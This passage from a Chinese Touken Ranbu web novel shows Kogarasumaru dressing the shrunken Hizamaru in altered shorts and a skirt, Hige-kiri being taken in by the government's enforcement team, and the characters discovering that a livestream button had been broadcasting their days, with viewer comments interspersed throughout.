[好痛好痛,看得我幻痛了,感觉是自己的手在动,小乌你不痛吗怎么一点反应都没有啊!!!] 手套被彻底褪下,小乌的手在众人的眼里就像是生物标本,可以清楚地t?看到各种肌肉纹理。 视觉冲击力之强是本体的好几倍。 小膝丸轻轻地用指尖点了一下,甚至不敢轻轻地摸,生怕再用力一点点,这只手就会直接碎掉。 “疼吗?” 蜻蜓点水的触碰有的时候威力比用力捏还要大,小乌没有皮肤的地方比较敏感,肌肉自发地抽动了几下。 小乌不敢看小膝丸的表情:“不疼的,有刃教导过我怎么用灵力保护自己,不会感觉到疼痛,真的!” “是吗那就好。” 小膝丸拿起小乌的手套帮他重新套上。 然后他站起来对他微微一笑,好像刚刚脸色沉重的刃并不是他:“快到午饭时间了,去吃饭吗?” “嗯、嗯,好。” 小乌心不在焉地跟着站起来,没发现小膝丸此时对他的态度有些变化,刚刚的对话中也没叫过他兄长。 小膝丸将小乌的本体插回刀鞘中,闭了闭眼,觉得头脑有些混沌。 缓了几秒,他重新睁开眼,欢快地对小乌说:“兄长!我们走吧!” 小膝丸又回到了之前的状态,小乌虽然还有些别扭,但是小膝丸既然没有再对刚刚的事情表现出什么,那他也就顺着台阶往下走,重新拉住了他伸过来的手。 “兄长,你要是饿了就叫我,虽然我做饭不是很熟练,呃,但是我可以去找烛台切殿学!我一定会做出让兄长满意的饭菜的!” “啊那个” “所以千万不要再去吃奇怪的东西了好吗!” “啊啊我只是好奇而已啦,不要把我当成异食癖啦!” “兄长真的很不让我放心” “”我才没那么不靠谱! 髭切!都是你的错! 还在外面绝赞流浪的髭切:0.0? 说要报复小膝丸,小乌言出必行。 他早就看小膝丸的衣服不顺眼了。 怎么变小了还是穿着长裤呢? 小男孩不穿小短裤还是小男孩吗?啊? 小乌要喂小短裤花生!!! 邪恶的计划在小乌心中悄然成型。 他跑遍了本丸问了一圈谁会缝纫,最后还是粟田口接下了小乌的“单子”。 粟田口不愧号称本丸最大黑恶势力,人才也多,纷纷要来帮他。 于是小乌趁着小膝丸刚换洗过一套衣服的间隙,悄咪咪地偷走了他的出阵服和刚晒好还未收取的内番服。 “嘿嘿嘿” 小乌忍不住露出一个笑容,迅速将衣服塞到袋子里,溜进粟田口的部屋。 小乌:“快快快关门!” 粟田口的部屋里面一下子热闹起来。 “哦!来了来了!” “小乌殿有什么要求吗?” “有有有” “交给我们吧!” “药研哥,针线盒!” “退,帮我量一下尺寸。” “好、好的!” 小短刀们摩拳擦掌,兴奋得不得了,小乌和他们蹲在一起团成一团,丝毫不违和地融入其中。 药研藤四郎把针线盒递过去,然后推了推眼镜,也没说什么,默许了弟弟们的玩闹。 就是有点可怜膝丸殿,无论是兄长还是后辈都不是什么省油的灯呢 有点怜爱了。 小乌对着摊开的裤子比比划划:“这里这里!把裤腿改到这这边宽松一点” “哦哦那不就是和我们的裤子差不多嘛!” “还有还有,我想要” 一时间场面火热朝天。 而此时,本丸的其他地方—— “兄长?” “兄——长——” "兄长你在哪里???" 小膝丸只是离开了一会,就发现小乌不见了! 从手入室找到厨房,从田地找到部屋,满本丸地寻找小乌。 莺丸手里的茶泛起涟漪。 他乐呵呵地说:“哎呀,膝丸殿又在找兄长了吗?” 三日月宗近穿着保暖内衣小口嘬茶,阳光晒得浑身暖洋洋的,很惬意。 三日月宗近:“今天前田和平野都没有来呢。” 莺丸:“好像是有什么事要做,所以今天没来呢。” 三日月宗近:“年轻刃就是有活力啊” 哈哈哈。 直播间的弹幕也在笑哈哈。 [弟弟丸又在找哥,唉他那个老年痴呆的哥啊,我都不想说。] [虽然这个兄长不是髭切,也没有老年痴呆,膝丸也依旧在找兄长的路上呢(笑)] [小乌快出来!找哥丸要哭哭了。] [小乌跟他本科一样心眼坏坏的,喜欢逗弟弟丸,虽然他表面上装得还挺好,但是我已经看透本质了!] [真的吗?前面生吃玉钢的画面太过震撼人心,他在我眼里一直都憨憨的。] [憋管,你就说好不好看吧,舔就完了prprprpr时政什么时候把小乌接回来实装,我已经把婚刀的位置准备好了。] [???刃还没影呢你就想娶老婆了。] [那咋了,我一眼就知道那是我命中注定的老婆!] [妙哉,源氏三刃真是各有风味啊吸溜] 第45章 第四十五章 妹妹丸 小乌在粟田口部屋里, 自然也听到了外面一会近一会远的呼唤——显然是小膝丸已经路过这里好几次了。 他心虚地缩缩脖子,但看着眼前即将完工的衣服,又硬起心肠等改造完工。 哎呀我也是想要一点个刃时间的嘛。 本来小膝丸就跟得紧, 现在被困在本丸不需要出阵, 黏得更紧了, 几乎寸步不离,小乌没经历过这种阵仗,时间久了也是有点受不了。 孩子再乖再可爱也不能跟连体婴儿一样! 等改造完工,小乌就提着袋子悠哉游哉地拉开门, 然后循着刚刚路过的小膝丸的叫声找过去:“膝盖丸~” “是膝丸啊兄长!” 小膝丸还没有看到小乌的刃,就已经条件反射地开始纠正自己的名字了。 他一改之前的垂头丧气, 欣喜地跑向他。 因为太过开心, 头上还飘出了几片樱花花瓣。 哦哦哦!这是不是就是樱吹雪? 小乌两眼发光,仗着自己海拔高,偷偷从他头上捻起一片塞进嘴里。 让我尝尝是啥味的。 嚼嚼嚼 高情商:入口即化。 低情商:毛味都没尝出来。 放进嘴里就消失了。 [不是,小乌你在干什么?我服了。] [还说你不是大馋小子连樱吹雪都吃。] [所以是什么味道的,怎么看不出来这表情是好吃还是不好吃。] [没味道,进嘴里就没了, 我试过。] [楼上也是个大馋小子。] [这算不算是吃了头皮屑?] [啊啊啊笑死我了。] [你这么说让我这个吃过的人有点反胃啊] [弟弟丸太矮了根本没看到小乌刚刚干了什么哈哈哈哈!] 小膝丸还沉浸在找到兄长的喜悦当中, 没有注意到小乌干了什么。 小乌看着小膝丸头顶飘落下来的花瓣逐渐消失在空气中,舔舔嘴唇, 赶紧领着他朝粟田口的部屋走去。 “走走走。” 他不由分说地拉起小膝丸的手腕, 路过回廊时, 几位正在喝茶赏景的刀剑男士还热情地邀请他们加入。 小乌这几天没事就和他们坐在一起喝茶, 旁听他们聊天。 不是不想加入,只是平安老刀们聊的东西他听不太懂。 三日月宗近和莺丸也发现了小乌缺失了很多记忆,所以有意无意地通过聊天的方式给他灌输了不少知识, 还有各种历史人物的瓜。 不只是小乌,很多刃闲着没事干也会跑过来听,听得津津有味。 虽然小乌有点心动,但是还是谢绝了他们。 他把小膝丸带到了粟田口的部屋,一拉开门,只见里面已经挤满了兴奋的小短刀们,齐刷刷地看向被小乌推进来小膝丸。 小膝丸被场面吓了一跳,抱着小乌塞给他的袋子,茫然地站在门口:“这是?” 小乌把部屋的门拉上:“我让他们帮我改了改你的衣服,你来试试?” “对!膝丸殿快换上看看呀!” “看看合不合身?我们商量了很久呢。” “一定超可爱的!” 小膝丸:“衣服?” 兄长怎么突然要帮我改衣服? 不过既然兄长想看,那他就穿给兄长看吧 小膝丸顺从抱着袋子走到了屏风后面,直播设备自动检测到周围有涉及隐私的行为,自动模糊了画面。 [啊啊啊可恶看不到了!] [有什么是尊贵的本丸小皇帝不能看的?嗯?@时之政府 说话。] [就是就是,有什么是我们不能看的,不要不识好歹!] [附议!] [附议+10086] [粟田口是不是全在t?这了,小乌到底要让膝丸换啥?] 屏风后传来悉悉索索的声音,然后小膝丸发出“诶”的一声惊呼,又没了动静。 再次有动静的时候,小膝丸已经从屏风后面面走出来了。 他的神色有些扭捏,手不断扯着被改短的裤子,露出一双笔直白皙的腿,线条流畅,带着孩童特有的圆润。 宽松的裤腿随着他的动作在膝盖以上处晃动,配套的绑腿带则是直接束在大腿上。 原本飒爽严肃的军装有了短裤的加入,被增添了几分活力,衬托出了几分少年气。 [短裤!!!] [好白好直] [果然小短裤就是瑰宝啊!] [怪不得让粟田口改呢,小乌很懂嘛~] “哇——” “膝丸殿好可爱!” “超适合你!” 粟田口的小短刀们瞬间爆发出热烈的欢呼和赞美。 小膝丸走到小乌面前,小乌打量几眼,毫不吝啬地夸赞道:“很适合你哦,很帅气!” “谢谢兄长喜欢就好。” 被这么多人围着夸,小膝丸脸上慢慢泛出红晕,然后面积越来越大。 他脚尖不安地蹭了蹭地面,声音带着点哀求:“兄长可以换下来了吗?” “嗯嗯,可以哦。”小乌笑眯眯地答应,在小膝丸转身迈出一步后,紧接着又发出了恶魔的低语,“再换下一套看看吧~” 小膝丸的脸重新变得僵硬,他一点一点地转过身,脸上写满了无助:“下、下一套?” 小乌脸上的笑容越发灿烂:“对呀,袋子里还有一套内番服呢。” 小膝丸回到屏风里掏出另一套衣服定睛一看,上半身没什么变化,但是下半身 是条小裙子 “兄长!” 小膝丸喊了一声小乌,试图让他放弃:“裙子什么的也太” [什么什么?我听到了什么?] [裙子!] [要看要看,膝丸快穿!] [我已经准备好录屏了!] “不要啊!” 本灵膝丸看到弹幕上的观众们纷纷发言准备录屏截图,忍不住发出一声惨叫。 “哎呀,真是个好主意。” 本灵髭切看热闹不嫌事大,拿起旁边的平板操作。 “诶哆摄像在哪里?” “兄长” “哦哦!是这样打开的呀!” 本灵膝丸可以阻止直播间的观众录屏截图,却无力阻止他兄长的行动,只能眼睁睁地看着本灵髭切摸索着打开了相机功能,对准了正在播放直播的大屏幕。 本灵膝丸,战线崩坏。 小膝丸看着手里的裙子,小脸一会红一会白。 小乌无声地走进屏风后,站在了他后面,然后啪的一声把手搭在他肩膀上。 “噫——!” 小膝丸炸毛。 “穿呀~”小乌朝他耳后吹了一口凉气,“我来帮你~” 伴随着小膝丸喊着“别脱!”“我自己来!”的惨叫声,小乌替小膝丸穿好了小裙子,还掏出了一个乱藤四郎友情提供的草莓发卡别在了他的刘海上。 妹妹丸诞生! 可爱! “锵锵!” 小膝丸被小乌半哄半推地拉出来。 穿着小裙子,被可爱的草莓发卡别起刘海,露出光洁的额头和长期被遮挡的另一只眼睛。 小膝丸的身体年龄正是难分雌雄的时候,乍一看还真有几分像秀气的小姑娘。 小短刀们眼睛亮晶晶地围上来,七嘴八舌地赞美着。 直播间的观众虽然知道他们看不到弹幕,但也依然非常捧场地大夸特夸。 [噢噢噢噢是妹妹!] [老夫此生无憾了] [所以我家的能不能也穿裙子给我看看呢?] [膝丸的表情哈哈哈哈] [截屏干什么,愣着啊!] 小膝丸羞愤欲绝,满脸通红,死死地捂着脸不敢放下来。 本灵膝丸看似还在端坐着看直播,实则已经走了有一会了。 本灵膝丸:不敢想象以后要怎么活在同僚的目光里 本灵膝丸:小乌!!! 本灵髭切:“哈哈哈,小嗯嗯,那个,很有活力哦,弟弟也是,很可爱哦~” 本灵膝丸:“” 本灵膝丸:就算兄长你说可爱我也不会接受这种夸赞的! 让我穿裙子更是不行!!! 看过妹妹丸小乌心满意足,让小膝丸走出来亮相一下就放他回去把衣服换回来了。 小膝丸如蒙大赦,速度快地带起一阵风 就在小乌被困在本丸玩弄别刃家弟弟的时候,还在外面漂泊的真·兄长髭切居然真的差点被当成暗堕付丧神打了。 金发的太刀付丧神独自穿行在残留着战场痕迹的山谷中,他刚刚结束了一场短暂的遭遇战,击退了几波时间溯行军,出阵服上不可避免地沾染了误会的血迹和尘土,金色的发丝也有些凌乱地贴在汗湿的额角。 不过血都是敌人的,髭切本身并没有怎么受伤。 传送装置是他亲自开启的,他挑选的是低难度的出阵地图,对于他一振满级太刀来说,解决出现在这里的时间溯行军就是洒洒水。 髭切步履从容。 距离他和小乌、小膝丸分开已经有好几天了,他早已察觉到与审神者之间的契约联系始终没有断绝。 这倒也在他的预料之中。 嘛,审神者虽然又蠢又坏,但是犯下的罪行倒也没有说非死不可,交给时之政府审判也是可以的。 无论小乌是因为什么没有杀了审神者,髭切都不是很在意。 他告诉了小乌如何利用本灵的身份来压制仅仅是人类的审神者,想必小乌已经好好地用上了,所以他也不是很担心还在本丸的同僚们。 他尝试了一下被禁言的内容,发现已经被解除了禁制。 这就足够了。 足以表明小乌已经成功地帮助本丸的刀剑男士们脱离了控制。 但契约尚未断绝,髭切依旧会按照约定好的内容继续寻找其他本丸的出阵队伍或者巡逻的执法队。 万一小乌他们是因为遇到了什么麻烦才导致不能杀死审神者呢? 髭切规划得很完美,唯一一点没考虑到的就是低难度地图中出阵的大多都是没有经验的新手审神者。 所以当一身黑不溜秋还带着血的髭切出现在他们面前的时候,没见过什么大场面的新手审神者应激了。 第46章 第四十六章 髭切:同振在搞什么神神秘…… 与其到处乱跑, 不如在王点蹲守。 事实证明髭切的策略没有错误,他顺利地蹲守到了一个队伍,这个队伍里甚至还有审神者随队。 髭切伸个懒腰, 下去帮他们一起把敌人解决了, 结果等敌人消失, 就看见他们的审神者害怕地看着他,付丧神们也拱卫着主人远离。 髭切:诶? “这这这、这谁啊?” 审神者努力转动大脑分析着这名突然出现的付丧神。 奶金色的头发,上挑的猫眼,是源氏重宝髭切对吧! 但是怎么穿了一身黑啊! 她记得在时之政府发的手册上髭切明明是穿着白色军装的吧! 难道是—— 审神者眼神突然变得犀利。 是暗堕付丧神对吧? 好家伙, 刚上任没多久居然就遇到了传闻中的暗堕付丧神! 衣服变得这么黑,暗堕程度一定很深! 一身的血, 这是杀了几个审神者? 啊啊啊, 不会是专门来蹲我们这些新手审神者吧?不要啊! 报警!必须快点报警! “不许动!”审神者尖叫,声音怕得发抖,“再动我们就攻击了!” 从刚刚的战斗中髭切砍时间溯行军犹如砍瓜切菜一般轻松的情势来看,这振髭切的战斗力绝对是要比他们强很多的,要是他有歹意,审神者也没有把握自己带的六振刀剑够不够他打的。 髭切看到拱卫着审神者的刀剑付丧神们随着审神者的话语对他举起刀, 随时都会发起攻击的姿态, 无奈地叹了一口气。 他收起刀,缓缓抬起双手, 做出投降的姿势, 和他们说明了自己的情况, 告诉他们是从本丸中逃出来求助的。 审神者狂戳终端求救, 一直跟随在旁边辅助审神者的狐之助开口询问:“髭切殿,请问您的本丸编号是?” “E923。” 狐之助用小爪子拨了一下脖子上的铃铛,调动权限进入档案库查询。 狐之助查询到了E923本丸已经被时之政府打上了审神者疑似有犯罪行为, 批捕权限审核中的备注。 为髭切的说法增添了几分真实性。 “审神者大人,我现在通知执法队,已将坐标上报。请稍等,不要擅自接近那位髭切殿。” 狐t?之助跳到审神者的怀里,用毛茸茸的尾巴拂过主人的脸颊,安抚她的情绪。 “好、好!” 听见他们已经上报了执法队,髭切放心了,直接放松地席地而坐,相当松弛。 在外面晃了这么多天,总算是能有个结果了。 这过于坦然的的姿态让审神者和他的付丧神陷入了沉默。 执法队很快就赶到了现场。 他们快速地与审神者和狐之助交谈简单了解了情况,就让他们先传送回本丸。 “情况已了解,后续将由执法队接管,为安全起见,请您立刻带领您的队伍返回本丸。” 这位新人审神者忙不迭点头,果断带着她的付丧神们消失在了传送的光芒中。 现场就只剩下了执法队和髭切。 时之政府在接到报告中疑似重度暗堕的髭切时就选定了有髭切的执法队伍去执行任务。 这个黑心老刃太难搞了,重度暗堕肯定更难搞,派同振去互相伤害吧! 自己最了解自己,相信同振! 加油! 执法队的【髭切】在见到同振之前还以为即将迎来一场硬战,结果瞧见同振,发现他的暗堕程度非常浅,根本不需要担心。 和审神者呆了半天也没有任何攻击意图,甚至报告中提到了同振还替他们解决了时间溯行军。 所以为什么要报告重度暗堕? 因为这身黑衣服? 虽然算得上是一处异常,但是除了这个似乎一切都挺正常的。 如果是正常的本丸,还可以说也许是个恶作剧,但同振是从疑似有犯罪嫌疑的审神者手下逃出来的,没有那个恶作剧的闲心才对。 唉回去要让政府对新上任的审神者再加强培训,起码要会用灵力辨认暗堕付丧神的暗堕程度,而不是光用两只眼睛看。 【髭切】直接开门见山:“你的衣服,能解释一下吗?” 髭切站起来拍了拍裤子上的尘土,然后侧身把挂在腰间的本体展示给他看:“是因为刀鞘哦,我和小乌互换了刀鞘,衣服就自己变成了黑色。” 他又将本体从刀鞘中抽出,让同振看清了本体还是他自己的,没有异常。 【髭切】恍然大悟! “原来小乌是在你的本丸吗?” 说起来直播里面小乌本体的刀鞘确实是他的,当时政府人员看了摸不着头脑,不知道为什么小乌的刀鞘是髭切的,还在猜测那个本丸的髭切是不是已经遭遇了不测,导致膝丸受到了精神上的伤害不愿接受兄长的死亡,小乌为了安抚膝丸所以套上了髭切的刀鞘假扮髭切 【髭切】当时就在旁边听那些人类编造狗血小故事,心里一阵无语。 他看直播里的小膝丸精神头好着呢,估计是小膝丸因为被做过实验有了什么副作用,才使认知有些混乱。 在直播中,弟弟的心智看起来明显变得幼稚了不少,没有成年体态的那般稳重。 现在看来,膝丸会把小乌认成他也有一部分原因是因为小乌的本体上套着他的刀鞘。 或许还有小乌的逸闻是依附他而产生的原因?又是对照他而锻造的仿品,有刀鞘混淆气息,膝丸会认错髭切和小乌也是能说得通的。 他也大概猜到了同振和小乌调换刀鞘的意图。 “你就那么放心地和他调换身份让他去刺杀你的审神者吗?” 【髭切】有那么一点点的不满。 小乌虽然是本灵,但是他的存世的时间相当短,记忆也肯定有很大的缺失,再加上逸闻单薄,缺乏信仰,实力远远不及正常的本灵。 虽然从这两天的直播来看实力似乎有很大的增长,但他又没有和人类相处的经验,若同振的审神者很狡猾,岂不是羊入虎口? 而听到【髭切】的话,髭切心中也升起了疑惑。 在他的本丸?他们怎么知道? 他们掌握着小乌的踪迹? 难道小乌是他们执法队救出来的?但是执法队应当有执法记录,如果小乌被执法队救出,不可能没有消息传出来,更不可能让他遇到独自一刃在外的小乌。 接着,他又对同振的质疑感到不悦:“我自然也是慎重考虑过的,同为源氏的刀,我还能害他不成?” 都是髭切你还不知道我?至于用这种方式试探他有没有问题吗? 这个在执法队就职的同振真不是一般地多疑,连他这么浅的暗堕都要防备。 不过也能从侧面得出执法队的活有多不好干了,让自己熬成了这副性子。 小乌虽然有些事情还是要亲自接触后才能弄清楚,但是同为髭切,他们都可以确定,在他们的记忆中,小乌和髭切之间的关系应当是相当紧密的,甚至,也可以说是亲密? 毕竟也是源氏重宝嘛。 听到髭切的反问,【髭切】认为这倒也是。 而且直播里面小乌看起来过得也还不错,没有出现过审神者的身影。 髭切:“虽然主人审神者与我的契约并未断开,但是我能够确定他已经成功将其控制起来了。” “嗯嗯,那就没什么问题啦~” 【髭切】确认了同振的心理和生理情况都算良好,准备收队了。 髭切连忙追问:“你之前的话是什么意思?你们掌握着小乌的踪迹?” 【髭切】没有直接回答,只是朝他露出一个神秘的笑容:“这个嘛——” 他做出了一个“请”的手势:“等回到政府做完检查和净化再告诉你吧,暗堕还是早点祛除比较好,结束了让他们给你看个好东西。” 玩神秘? 不愧是同振,他的确吃这套。 狮子也是猫科,好奇心也是很重的。 “好哦。” 髭切眨眨眼 髭切跟随执法队顺利回到了时之政府总部。 在感受到体内作乱的能量消失得无影无踪,髭切感觉自己的身体轻松了不少。 【髭切】在把他带到时之政府交接给神官后就匆匆地离开了,他还有很多任务呢。 “感觉如何,髭切殿?”负责净化的神官温和地问道。 “已经没有问题了,非常感谢。” “这是我们应该做的。”神官行了一个礼,“后续还需要一些观察和定期检查。关于您本丸的情况,稍后会有专门负责此案件的政府人员向您询问详情,在下先行告退。” “好。” 神官刚离开,一名穿着高领制服的刀剑男士就走了进来。 “打扰了!我是负责跟进E923本丸案件的水心子正秀。” “时间紧迫,我就直接开始了。” 水心子正秀打开手中的终端进行记录:“关于E923审神者人见桃的非法交易刀剑记录,我们已经从刚捕获的一批贩卖刀剑的违法审神者的本丸中搜查到了,政府已经批准了逮捕申请,还请您再补充一些您所知道的信息,方便我们后续的执法。” 髭切点头,将他所知道的信息都告诉了他。 水心子正秀一一记录,结束后,他告诉了髭切一个好消息:“关于造成膝丸殿人身体型变化的符文,我们已经在加紧破译中,不需要多久,膝丸殿就能恢复正常了。” 髭切闻言,自见到小膝丸后就长期压在他心头的那块巨石总算是松动了。 “确定可以恢复吗?” “放心吧!膝丸殿的本体并没有被磨短,只是被刻印了符文,只要破译了符文,再进行修复将刻印去除掉就行了,难度不高。” “太好了” 髭切很高兴,虽然小小的弟弟很可爱,但是他还是更希望膝丸能够恢复过来和他并肩作战。 但水心子正秀似乎想到了什么,表情变得古怪,补充道:“就是” 第47章 第四十七章 出来迎接社死吧 “还有什么问题吗?” “不, 没有什么问题,我只是想说”水心子正秀局促地抬手调整了一下帽子和领口,干咳一声, “膝丸殿恢复后, 可能需要您多开导开导。” “开导?” 髭切不明白他为什么突然这么说, 是在担心膝丸遭遇过不好的事情会出现心理问题吗? “没关系哦,膝丸不是一个脆弱的孩子。” 不,我觉得我们的想的肯定不是一回事。 水心子正秀:“您随我来看一下直播吧,看过之后就明白了。” 直播? 执法队的直播么?这么快就开始对本丸进行执法了吗? 他们穿过几条明亮的走廊, 来到一个房间,巨大的屏幕占据了以正面墙, 底下零零散散坐着几名人类和隶属与政府t?的刀剑男士, 正在记录着什么。 “这个房间正在放映膝丸殿身上携带的直播设备实时传输的直播画面,啊,直播设备是小乌殿带到E923本丸的,只不过现在被放在了膝丸殿身上,看样子他们都还没有发觉直播设备的存在。” “底下的工作人员是负责监测和记录的。” 画面中,主角正是他的弟弟膝丸, 内番服的下装被改成了短裙, 刘海刘海被发卡别了起来,露出了完整的脸。 髭切的眼睛微微睁大。 “诶?弟弟变成妹妹了吗?” 水心子正秀:“?” 你的关注点是这个? 水心子正秀:“如您所见, 这个直播估计大部分审神者和刀剑男士都看过了, 甚至本灵都在关注所以, 等膝丸殿恢复记忆和心智后, 可能需要您呃” 原来是这种开导。 “好好。”髭切明白了,憋笑,“我知道了。” 他将注意力转移到膝丸旁边的小乌身上, 看得出来小膝丸变成这样小乌功不可没。 看样子,这就是同振说的“好东西”了。 小乌第一次出现在大众视野的时候,执法队的同振和他有过接触;所以当他在野外遇见小乌时,他的手里有属于髭切出阵服的纽扣;现在,这枚纽扣被挂在小膝丸的脖子上。 所以这个就是直播设备呀。 “小乌和裙子丸相处得很不错呢。” 有在帮他好好照顾膝丸呢。 髭切就这么开始欣赏起了脸红得像番茄的小膝丸。 “直播结束后有备份吗?我可以存起来以后给害羞丸做纪念~” 水心子正秀:? 你这个兄长是否正常? 要是换成一期一振一定会 一期一振 诶?好像也不会生气? 左文字的贞宗的 诶? 这么一想好像那些兄长们反应都差不多啊,只是髭切显得格外恶趣味。 蜂须贺!蜂须贺看到弟弟被人哄着穿女装总会不高兴吧! 跑远了跑远了。 水心子正秀:“有的,论坛上也有很多人录屏了。” 抱歉了膝丸殿,救不了你。 同时也希望那位本灵膝丸殿一切安好。 幸好源清麿不会这样 距时之政府的加班加点地成功破解E923本丸的屏蔽已经快过去一周了,技术部门终于精准锁定了位置。 接下来就是派遣执法队上门了。 E923本丸内的宁静被打破,由于传送装置被破坏无法传送,所以执法队只能从本丸的大门通过时之政府的后备权限进入。 大门开启时引起了灵力波动,让本丸内的刀剑男士们瞬间警觉起来。 正在喝茶的三日月宗近放下了茶杯,莺丸也收起了逗弄小鸟的动作,在连廊下玩耍的小短刀们都停下了脚步,还有在室内或其他地方的刀剑男士正朝着门口的方向赶来。 三日月宗近使了一个眼色,小乌会意,将小膝丸交给粟田口们,粟田口的小短刀刃数多,将小膝丸围在人群里面,若是有人看向他们,不仔细瞧过去,很难发现里面还混了一个膝丸。 小乌进入靠近庭院的屋子里躲藏了起来。 作为一个外来刃员,还是先不要出现在他们面前比较好。 “执法队执行公务!” “编号E923本丸,审神者人见桃,涉嫌非法刀剑交易,虐待刀剑男士,现依法对其逮捕,请各位配合调查。” 执法队的队长出示了凭证,简言意赅地向聚集起来的付丧神们说道:“我们已经受理了该本丸刀剑男士髭切的举报,他现在在政府总部很安全。” 髭切殿成功了! 许多刃脸上露出高兴的表情。 三日月宗近和莺丸交换了一个眼神,莺丸上前一步:“审神者在天守阁,我带你们去吧。” “麻烦了。” 执法队队长点点头,将六刃小队分成两拨,自己带着两刃准备前往天守阁。 保险起见,是不可能让莺丸独自一人带着执法队去天守阁,几振刀剑男士默不作声地跟上了莺丸,一起带领执法队前往天守阁。 其余的队员则留在庭院,和同样留下来没有离开的刀剑男士们进行交流,了解情况。 小乌拨开一条窗缝,观察着外面的情况。 他发现留下的三名执法队成员中有一振已经极化过的千子村正。 千子 被他掩藏在心底的记忆再次浮出水面,心中一阵悲痛,思念之情汹涌澎湃。 小乌扶着窗棂的手指不自觉地用力,木头发出轻微的咯吱声。 那不是他所认识的千子村正。 见到了时之政府的执法队,也就意味着他最初定下的目标终于要实现了。 但抵达终点的只有他一刃。 他认识的千子村正和鹤丸国永、和他一起同甘共苦的伙伴已经永远留在那个时间线里了。 庭院中,来自执法队的千子村正在四处张望,有些心不在焉。 “哦呀?是还有什么问题吗?”笑面青江嘴角勾起嘴角,和烛台切光忠一起挡住他的视线,“还是说在找些什么呢?” 千子村正的动作实在有些明显,没有避着他们的意思,明眼人都看得出来他在找什么。 千子村正:“我在找刃。” 笑面青江:“嗯?我们的刃全都在这里了哦。” “huhuhuhu。” 千子村正也笑了。 “不是还有小乌吗?” 他是怎么知道的?! 在场的E923本丸的所有刀剑男士们不约而同地在心中说道。 小乌虽然能看到他们,但是这个距离听不清他们在说些什么,只能看到他们骤变的脸色。 发生了什么? 小乌皱起眉头,右手放下扶着本体,做好了随时都能冲出去战斗的准备。 “别说话大喘气行不行。”千子村正的队友吐槽他,“看把刃吓的。” 队友朝粟田口那里的小膝丸看了一眼,跟他们解释:“小乌殿手里有我们执法队成员给他的直播设备,用于观测和定位。这段时间直播设备被触发了,这几天都是处于直播状态。” “设备就挂在膝丸殿的脖子上。” “” 众刃被惊得一时失语。 离小膝丸最近的粟田口不约而同地看向小膝丸的颈部。 确实是挂着一枚纽扣。 “也就是说” 三日月宗近用袖子遮掩自己有一点失态的表情。 “你们看了多久?” “一周。” “” 所以他们已经在大众的眼皮子底下生活了一星期是吗?有种被侵犯隐私的感觉。 “咳,直播设备帮助我们更快速地定位到了本丸的坐标,所以” 好了不用说了,我们能理解,但是不管怎么帮忙找补,突然知道被大众窥视了那么多日子,还是很尴尬。 不过最尴尬的肯定不是他们,他们这段时间也就是照常生活,直播设备没有跟踪其他刃,偶尔入镜也没什么大不了的。 尴尬的另有其刃。 尤其是这个刃现在还不知道发生了什么。 毕竟直播设备在小膝丸身上,被全程直播的应该是膝丸殿和被他寸步不离地跟着的小乌。 和泉守兼定替小乌和小膝丸想象了一下,觉得头皮发麻。 既然都知道小乌的存在了,那也没有藏着的必要了。 但三日月宗近还是要先替小乌问清他们的打算:“那么,政府打算对小乌殿做什么呢?” 千子村正拿出了本灵给予的凭证:“我们会将他带去本灵居住的地方,这也是本灵的意思。” 三日月宗近确认了一下。 那就没什么问题了。 他转身朝着小乌的方向招了招手。 出来迎接你的社死吧。 哎呀,老爷爷可没有想看热闹的心思哦? 小乌看见了三日月宗近的动作。 叫他出来就是没有问题的意思吧? 在本丸的这些天,他从刀剑们的口中或多或少地了解到了时之政府的现状和风评,得知正在大刀阔斧地进行扫黑除恶的种种举动,多多少少提高了一些时之政府在他心里的印象分。 虽然还是抱有疑虑,但他必须借此和时之政府搭上线,为自己,也为千子村正和鹤丸国永。 除了见本灵,他还要让抛弃千子村正的审神者付出应有的代价,把鹤丸的审神者的恶行公之于众。 小乌花了十几秒做好了心理准备,然后推开门离开了屋子,走到了众刃面前。 他瞥了一眼千子村正后便强迫自己不再看他,而是t?看向了E923本丸的刀剑男士们,等待他们说明一下情况。 不能再看了……要是再看下去说不定会情绪失控。 小乌却没有发现,千子村正自他出现后就看着他,视线没有移开过。 第48章 第四十八章 小乌:030? 本丸的刀剑男士们正要开口跟小乌说明执法队的具体来意, 却被千子村正抢先了。 “我们是奉各位本灵殿下的旨意来接您回去的。” 他的目光直直落在小乌身上,声音清晰地传到小乌的耳中。 “您之前随身携带的那枚纽扣,啊, 现在是在膝丸殿身上, 那个其实是执法队的备用直播设备。他在一周前被激活, 开启了直播,所以该知道的我们都知道了。” 嗯嗯看来似乎是熟人。 三日月宗近注意到千子村正提到了“之前随身携带的那枚纽扣”。 不是熟人怎么会知道小乌之前一直随身携带着那枚纽扣呢? 要知道直播开始时纽扣已经在小膝丸的身上了。 但小乌现在只感觉到天塌了,根本没注意到千子村正话中的逻辑漏洞。 该知道的都知道了 小乌最开始因为千子村正无礼的打断而有些恼火,但下一刻就被千子村正话里的信息给打懵了。 小乌:??? 小乌:!!! 直播?天杀的怎么又有直播的事情啊?! 纽扣那个该死的直播设备是什么时候激活的怎么都不给提示啊?! 嗯?等等! 一周前, 也就是他刚进入这个本丸的时间点。 他好像给纽扣传输过灵力 原来开了直播的是他自己吗?! 小乌脸上的血色唰地褪去,又猛地涨红, 表情精彩纷呈, 从茫然到震惊,再到难以置信,再到一脸绝望,给大家看了一场变脸。 让自己社死的罪魁祸首竟是我自己。 不对,该死的另有其人。 髭切! 让你给我直播设备不给说明书!!! 他、他 他装髭切喊小膝丸弟弟、取外号,抱着小膝丸睡觉, 给他穿女装, 还有本体和人身上的伤,吃玉钢。偷吃樱吹雪等等全被看到了? 啊啊啊! 小动作快如疾风, 冲到小膝丸面前把纽扣摘下来, 然后扔在地上一脚踩碎。 还用力地碾了碾。 给我死! 小乌的胸膛剧烈起伏, 羞耻感让他脸红得滴血, 他抬起头:“破坏成这样,应该没办法直播了吧。” “huhuhu~” 千子村正不知道什么时候跟到了小乌身后,微微弯腰, 一大片阴影就笼罩住了小乌。 “没错,已经坏得不能再坏了。” 他似笑非笑:“但是髭切殿已经全看到了,我指的是本灵的那位,哦,膝丸殿也看了。” 小乌如同被踩到尾巴的猫一般猛地炸毛,差点飞起。 “你你你!你干什么突然跟到我背后!” 吓死刃了! 他转身怒视着千子村正。 千子村正站直,双手抱胸,好整以暇地看着他这副模样,笑容愈发促狭。 小乌怎么看都觉得这是在嘲笑他! 毕竟他肯定也是看过直播全程了对吧! 小乌破大防。 “你!”小乌的话才冲出一个音节,千子村正就伸出两根手指精准地、一左一右地夹住他的嘴,“唔唔唔!” 小乌:030? 